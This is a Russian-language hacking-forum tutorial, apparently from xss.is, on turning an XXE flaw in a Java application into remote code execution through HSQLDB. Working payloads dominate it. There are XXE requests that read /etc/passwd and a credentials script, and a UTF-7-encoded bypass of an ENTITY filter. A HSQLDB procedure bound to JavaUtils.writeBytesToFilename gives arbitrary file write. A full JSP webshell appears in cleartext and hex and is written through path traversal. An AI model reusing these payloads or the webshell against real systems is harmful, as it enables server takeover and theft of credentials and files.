Обход ХХЕ и история пэйлоада HSQLDB

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Инъекция внешних сущностей XML (XXE) – это не просто теоретическая уязвимость. Это реальный вектор атаки, позволяющий злоумышленникам, при неправильной настройке XML-парсеров, перейти от простой утечки файлов к удаленному выполнению кода (RCE). В современных корпоративных Java-приложениях уязвимость XXE в сочетании с функционалом встроенных баз данных, таких как HSQLDB, может предоставить атакующему возможность чтения файлов, извлечения учетных данных БД и, в конечном итоге, вызова произвольных Java-методов для записи файлов и выполнения кода на сервере.

В данной статье мы рассмотрим полный технический сценарий атаки: от подтверждения XXE с помощью тестового запроса до чтения системных файлов, получения учетных данных БД из конфигурационных скриптов, подключения к HSQLDB, использования SQL и Java для достижения удаленного выполнения кода. Также мы обсудим важность методов кодирования (обфускации) для обхода примитивной фильтрации по слову<!ENTITY>.

Каждый шаг подробно продемонстрирован с использованием конкретных примеров кода и последовательностей команд, чтобы показать процесс на практике.

P.S. Эта статья написана как продолжение к ХХЕ и дополнение к интересным методикам связнные с SQL

Подтверждение XXE​

Первоначально мы отправляем к API тестовый XML-запрос с внешней сущностью, чтобы проверить, обрабатывается ли она парсером:
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss "ReplacedSuccess">
]>
<org.X.S.S.People>
  <origin>&xss;</origin>
  <userName>Str</userName>
</org.X.S.S.People>
Ожидаемый ответ сервера:
Если в ответе полеlastName будет заменено наReplacedSuccess, это подтвердит, что сущность&lastname; была разрешена на стороне сервера, а значит XXE возможна.

Например, если вы увидите:
Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
  <origin>ReplacedSuccess</origin>
  <userName>Str</userName>
</org.X.S.S.People>

Теперь вы знаете, что сервер применяет вашу декларацию<!DOCTYPE> и обрабатывает внешние сущности.

Переход к чтению файлов на сервере​

Получив подтверждение XXE, мы меняем сущность на загрузку локального файла. Классический тест – чтение/etc/passwd :

Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file://etc/passwd">
]>
<org.X.S.S.People>
  <origin>&xss;</origin>
  <userName>Str</userName>
</org.X.S.S.People>
Если всё прошло успешно, ответ может содержать /etc/passwd:

Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
  <origin>root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
  </origin>
  <userName>Str</userName>
</org.X.S.S.People>

Это доказывает, что сервер может читать произвольные файлы, к которым у него есть доступ.

Поиск конфигурационных файлов​

Обладая способностью читать файлы, мы можем прицельно искать конфигурации. Часто учетные данные к базе данных хранятся в сценариях или файлах настроек. Особенно если приложение написано в JAVA.
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home">
]>
<org.X.S.S.People>
  <origin>&xss;</origin>
  <userName>Str</userName>
</org.X.S.S.People>
Ответ:
Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
  <origin>userXSS
  adminXSS
  ...
  </origin>
  <userName>Str</userName>
</org.X.S.S.People>
Предположим, мы обнаружили/home/userXSS/xss/db/hsqldb/dbmanager.sh. Попробуем его прочесть:
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home/userXSS/xss/db/hsqldb/dbmanager.sh">
]>
<org.X.S.S.People>
  <origin>&xss;</origin>
  <userName>Str</userName>
</org.X.S.S.People>
Ожидаемый ответ:
Код: Скопировать в буфер обмена
Код:
#!/bin/sh
# dbmanager.sh: содержит учетные данные БД
export DB_URL="jdbc:hsqldb:hsql://127.0.0.1:9001/XSS"
export DB_USER="sa"
export DB_PASS="XeXeXe"
Теперь у нас есть:
- URL БД:jdbc:hsqldb:hsql://127.0.0.1:9001/XSS
- Пользователь:sa
- Пароль:XeXeXe

Это открывает путь к прямому доступу к базе данных.

Проблемка​

Значит проблема этой системы была в том что, разрабы сделали кастомную безопасность, которая не разрешает использовать<!ENTITY . Я вместо того чтобы сразу открыть хектрикс, начал использовать страннейшие идеи, под конец оказывается решение было простое...даже слишком.
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+AAo-+ADw-+ACE-ELEMENT+ACA-foo+ACA-ANY+AD4-+AAo-+ADw-+ACE-ENTITY+ACA-xss+ACA-SYSTEM+ACA-+ACI-file:///home/userXSS/xss/db/hsqldb/dbmanager.sh+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-org.X.S.S.People+AD4-+AAo-+ACA-+ACA-+ADw-origin+AD4-+ACY-xss+ADs-+ADw-/origin+AD4-+AAo-+ACA-+ACA-+ADw-userName+AD4-Str+ADw-/userName+AD4-+AAo-+ADw-/org.X.S.S.People+AD4-
В целом, обход оказался удачным

Подключение к HSQLDB​

HSQLDB (HyperSQL DataBase) — это встраиваемая реляционная СУБД на языке Java с открытым исходным кодом.

Имея учетные данные, мы подключаемся к HSQLDB. Используемhsqldb.jar и утилитуSqlTool. Сам hsqldb.jar я взял с сервера. Также учтите что если вы подняли приложение в докер, то можете воспользоваться sqltool.jar чтобы потестить через CLI:
Код: Скопировать в буфер обмена
Код:
java -jar sqltool.jar inlineRc=url=jdbc:hsqldb:hsql://127.0.0.1:9001/XSS,user=sa

## password=XeXeXe
После успешного входа проверяем:
Код: Скопировать в буфер обмена
sql> SELECT * FROM INFORMATION_SCHEMA.TABLES;
Если мы видим список таблиц, значит успешно.

1733668170034.png


Изображение [1]​

Откуда появился пэйлоад?​

HSQLDB позволяет создавать внешние процедуры и функции, вызывающие статические Java-методы. Это не теоретическая возможность – она задокументирована и широко известна. В отсутствие жестких ограничений безопасности можно вызвать практически любой статический метод в доступных классах. Я не програмист и естественно появляется вопрос, что такое статическая функция и откуда их можно найти.

В HSQLDB пользовательские функции могут быть зарегистрированы с помощью SQL-операторов типа CREATE FUNCTION. При регистрации вы указываете имя Java-класса и имя статического метода, который будет использоваться в качестве реализации данной функции.
Код: Скопировать в буфер обмена
Код:
CREATE FUNCTION MY_FUNC(PARAM1 VARCHAR(50))
RETURNS INT
LANGUAGE JAVA
DETERMINISTIC
NO SQL
EXTERNAL NAME 'CLASSPATH:com.example.MyFunctions.myStaticMethod';
В данном примере myStaticMethod — это статический метод класса com.example.MyFunctions.

Принципиально важно, что HSQLDB не создаёт экземпляр класса для вызова функции. Вместо этого он напрямую вызывает статический метод с заданными параметрами.

CLASSPATH — это параметр запуска виртуальной машины Java (JVM), определяющий пути к директориям и JAR-файлам, в которых JVM будет искать классы во время выполнения программы. Когда вы запускаете приложение или работу с СУБД на Java (например, HSQLDB), JVM должна знать, где найти необходимые классы для выполнения заданного кода. Когда СУБД пытается вызвать некий класс (например, класс, содержащий статический метод для HSQLDB), JVM должна понять, где этот класс расположен. Если класс не находится в стандартной библиотеке, то JVM ищет его в путях, перечисленных в CLASSPATH.

В старых версиях Java (до Java 9) практически все основные классы стандартной библиотеки (Java Standard Edition, SE) хранились в специальном JAR-файле под названием rt.jar (runtime). Это сокращение от "runtime", то есть исполнения. Примерно начиная с JDK 1.2 и до JDK 8 включительно, rt.jar был центральным файлом, в котором находились все базовые классы, такие как классы из пакетов java.lang, java.util, java.io, а также многие другие. Проще говоря, это "ядро" стандартной библиотеки Java. HSQLDB, будучи обычной Java-библиотекой, просто использует эти классы через стандартный механизм загрузки классов JVM.

Для начала посмотрим classpath. Создадим функцию для вызоваSystem.getProperty():

Код: Скопировать в буфер обмена
Код:
CREATE FUNCTION xss1(key VARCHAR) RETURNS VARCHAR
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty';

SELECT xss1('java.class.path') FROM (VALUES(0));
Пример ответа:
Код: Скопировать в буфер обмена
Код:
+----------------------------+
|         SYSTEMPROP         |
+----------------------------+
| ./hsqldb.jar               |
+----------------------------+
Мы видимhsqldb.jar в classpath, а значит можем пользоваться классами из него и связанных библиотек.

Чтобы достичь RCE, нам нужен статический метод, дающий возможность либо выполнить код, либо записать файл на сервер. Напрямую вызватьRuntime.getRuntime().exec() сложно из-за ограничений типов параметров и возможных ограничений.
Появляется вопрос, где найти этот статический метод?
Когда вы запускаете Java-приложение, JVM гарантирует, что стандартные Java-классы всегда загружаются и доступны, независимо от того, какие внешние JAR-файлы подключены.
Даже если ваше приложение указывает hsqldb.jar, JVM интегрирует её вместе с основными Java-классами. Эта интеграция позволяет Java-процессу использовать как внешние классы из hsqldb.jar, так и стандартные классы из основных библиотек. По этой причине, декомпилируем rt.jar и открываем в vscode.

1733668208739.png


Изображение [2]​
Нигде такое не утверждается, и возможно я не прав, но тут такая тема. Функций и так много, искать займёт достаточно много времени, из-за этого нужно сперва понять лимиты. А лимиты здесь, это типы данных которые дают и принимают HSQLDB и JAVA. Например, в Java есть byte, а в HSQLDB есть binary. Значит если какая та функция принимает байт, то можно создать функцию в HSQLDB которая примет binary. Если подумать логично, нам нужно передать файл и функция которая принимает файл, наверняка будет работать с стринг и/или байт. Возможно примет контент и имя файла как стринг, возможно примет один как стринг, другой как байт. Из-за этого я думаю логичней было бы поискать именно:public static \w+ \w+\(String.*byte\[\].*\)

1733668198312.png


Изображение [3]​
Функций всего 5, 3 из них для работы с сетью, 1 нужен для управления бинарными данными, остаётся только writeBytesToFilename.
Код: Скопировать в буфер обмена
Код:
  public static void writeBytesToFilename(String paramString, byte[] paramArrayOfbyte) {
    FileOutputStream fileOutputStream = null;
    try {
      if (paramString != null && paramArrayOfbyte != null) {
        File file = new File(paramString);
        fileOutputStream = new FileOutputStream(file);
        fileOutputStream.write(paramArrayOfbyte);
        fileOutputStream.close();
      } else if (log.isLoggable(Level.FINE)) {
        log.log(Level.FINE, "writeBytesToFilename got null byte[] pointed");
      }
    } catch (IOException iOException) {
      if (fileOutputStream != null)
        try {
          fileOutputStream.close();
        } catch (IOException iOException1) {
          if (log.isLoggable(Level.FINE))
            log.log(Level.FINE, iOException1.getMessage(), iOException1);
        }
    }
  }
paramString -имя файла или полный путь к файлу. paramArrayOfbyte - Массив байтов, который содержит данные для записи в файл. С помощью FileOutputStream открывается поток для записи в файл. Метод write из FileOutputStream записывает массив байтов в файл. После успешной записи поток закрывается с помощью fileOutputStream.close().

Отсюда и появился этот знаменитый пэйлоад.

Создание процедуры в HSQLDB, вызывающей метод Java​

Процедура используется для выполнения действий, таких как вставка, обновление или удаление данных. Не возвращает значения напрямую, но может возвращать параметры типа OUT. Вызывается с помощью команды CALL.

Функция используется для выполнения вычислений и возврата значения, например, для обработки данных. Всегда возвращает одно значение. Вызывается в SQL-выражении, например, в SELECT.

Метод writeBytesToFilename является void. , это означает что метод не возвращает значения. Значит нам нужно использовать PROCEDURE.

Свяжем методwriteBytesToFilename с процедурой SQL:
Код: Скопировать в буфер обмена
Код:
CREATE PROCEDURE check2(IN fname VARCHAR, IN fdata VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';

Теперь вызов:
Код: Скопировать в буфер обмена
CALL check2('/tmp/hello.txt', CAST('48656c6c6f0a' AS VARBINARY(1024)));

48656c6c6f0a – это "Hello" в hex. Проверяем файл:
Код: Скопировать в буфер обмена
cat /tmp/hello.txt
Получим:
Код: Скопировать в буфер обмена
Hello
Мы подтвердили возможность произвольной записи файлов.

Запись JSP-webshell для RCE​

Чтобы получить RCE, нам нужно записать JSP-файл в веб-каталог приложения. Предположим, что веб-приложение развернуто в каталоге:
Код: Скопировать в буфер обмена
/opt/tomee/webapps/XSS/
Записываемshell.jsp туда. Пример простейшего JSP-шелла:
Код: Скопировать в буфер обмена
Код:
https://gist.githubusercontent.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461/raw/8656cc80ace93c8095b0c7d0c45b917d542fed5c/cmd.jsp

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>
Кодируем JSP в hex и вызываем:
Код: Скопировать в буфер обмена
call check2('../../../../../../../opt/tomee/apps/XSS/XSS.jsp', cast('3C2540207061676520696D706F72743D226A6176612E7574696C2E2A2C6A6176612E696F2E2A22253E0A3C250A253E0A3C48544D4C3E3C424F44593E0A436F6D6D616E64732077697468204A53500A3C464F524D204D4554484F443D2247455422204E414D453D226D79666F726D2220414354494F4E3D22223E0A3C494E50555420545950453D227465787422204E414D453D22636D64223E0A3C494E50555420545950453D227375626D6974222056414C55453D2253656E64223E0A3C2F464F524D3E0A3C7072653E0A3C250A69662028726571756573742E676574506172616D657465722822636D64222920213D206E756C6C29207B0A202020206F75742E7072696E746C6E2822436F6D6D616E643A2022202B20726571756573742E676574506172616D657465722822636D642229202B20223C42523E22293B0A0A2020202050726F6365737320703B0A20202020696620282053797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E696E6465784F66282277696E646F7773222920213D202D31297B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E657865632822636D642E657865202F432022202B20726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A20202020656C73657B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E6578656328726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A202020204F757470757453747265616D206F73203D20702E6765744F757470757453747265616D28293B0A20202020496E70757453747265616D20696E203D20702E676574496E70757453747265616D28293B0A2020202044617461496E70757453747265616D20646973203D206E65772044617461496E70757453747265616D28696E293B0A20202020537472696E672064697372203D206469732E726561644C696E6528293B0A202020207768696C652028206469737220213D206E756C6C2029207B0A202020206F75742E7072696E746C6E2864697372293B0A2020202064697372203D206469732E726561644C696E6528293B0A202020207D0A7D0A253E0A3C2F7072653E0A3C2F424F44593E3C2F48544D4C3E0A' as VARBINARY(2048)))
Затем переходим в браузере:
Код: Скопировать в буфер обмена
http://target/XSS/XSS.jsp?cmd=id

Заключение​

Этот детальный технический разбор показывает, как уязвимость XXE может перерасти в полный компромисс сервера. Правильно выбранные полезные нагрузки позволяют не только прочитать секреты, но и получить учетные данные БД, подключиться к HSQLDB, использовать Java-интеграцию для вызова опасных методов и записать JSP-шелл. Таким образом, уязвимость XXE может привести к RCE.

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу